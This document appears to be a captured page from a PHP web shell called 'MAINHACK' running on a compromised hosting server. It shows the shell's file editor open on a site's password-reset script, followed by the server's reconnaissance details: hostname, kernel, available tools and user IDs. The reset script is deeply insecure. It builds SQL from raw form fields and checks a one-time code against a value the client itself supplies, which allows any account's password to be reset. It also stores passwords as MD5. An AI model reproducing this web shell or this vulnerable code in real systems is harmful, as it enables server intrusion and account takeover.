[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: reset_passwordR2.php
<?php include("header.php"); $m=base64_decode($_REQUEST['m']); $otp=base64_decode($_REQUEST['id']); $table=base64_decode($_REQUEST['tab']); ?> <script> function check(){ var radioValue = $("input[name='type']:checked").val(); //alert(radioValue); if(radioValue=='Email'){ $('#em').show(); $('#phn').hide(); $("#email").prop('required',true); }else if(radioValue=='Phone'){ $('#em').hide(); $('#phn').show(); $("#phone").prop('required',true); } } function checkPass() { var pass1 = document.getElementById('pass1'); var pass2 = document.getElementById('pass2'); var message = document.getElementById('error-nwl'); var goodColor = "#66cc66"; var badColor = "#ff6666"; if(pass1.value.length > 7) { message.style.color = goodColor; message.innerHTML = "character number ok!" } else { message.style.color = badColor; message.innerHTML = " you have to enter at least 8 digit!" return; } if(pass1.value == pass2.value) { message.style.color = goodColor; message.innerHTML = "ok!" document.getElementById("btn").disabled = false; } else { message.style.color = badColor; message.innerHTML = " These passwords don't match" document.getElementById("btn").disabled = true; } } </script> <!-- Banner Start --> <div class="signupform"> <div class="spec_1" data-aos="fade-down" style="transition:all 1500ms ease-in-out"> <h3>Reset Password</h3> <div class="ser-t"> <b></b> <span><i></i></span> <b class="line"></b> </div> </div> <!-- //tittle heading --> <div class="container"> <div class="sub-main-w3"> <form method="post" > <?php if (filter_var($m, FILTER_VALIDATE_EMAIL)) $fname='email'; else $fname='phone'; ?> <div class="res" id="em" style="display:"> <div class="nd-sst"> <label for="password">OTP :</label> </div> <div class="nd-st"> <input type="text" name="otp_new" placeholder="OTP" required> <input type="hidden" name="otp" value="<?=$otp?>" placeholder="OTP"> <input type="hidden" name="table" value="<?=$table?>"> <input type="hidden" name="field_name" value="email" > <input type="hidden" name="field_value" value="<?=$m?>"> </div> </div> <div class="pass" id="em" style="display:"> <div class="nd-sst"> <label for="password">New Password :</label> </div> <div class="nd-st"> <input type="password" name="password" title="password should have an Upper case,a lower case ,number and any characters like @$#_" id="pass1" onkeyup="checkPass(); return false;" placeholder="New Password"> </div> </div> <div class="pass" id="em" style="display:"> <div class="nd-sst"> <label for="password">Confirm Password :</label> </div> <div class="nd-st"> <input type="password" name="cpassword1" id="pass2" onkeyup="checkPass(); return false;" placeholder="Confirm Password "> </div> <div id="error-nwl"></div> </div> <div class="row"> <input type="submit" name="sub" value="Send "> </div> <p class="account1">Resend OTP<a href="reset_pass.php?type=<?=base64_encode($table)?>"><strong>Click Here</strong></a></p> </form> </div> </div> <?php if(isset($_POST['sub'])){ if($_POST['otp']==$_POST['otp_new']){ $sq="update ".$_POST['table']." set password='".md5($_POST['cpassword1'])."' where ".$_POST['field_name']."='".$_POST['field_value']."'"; // echo $sq; $stmt=$con->prepare($sq); $r=$stmt->execute(); if($r){ echo '<script> swal({ title: "Thank You!", text: "Yours Password has been reset.", type: "success" }) .then((willDelete) => { if (willDelete) { window.location.href="login.php"; } }); </script>'; } }else{ echo "<script>swal('OTP mismatched.Please verify otp.');</script>"; } } ?> <?php include("footer.php"); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619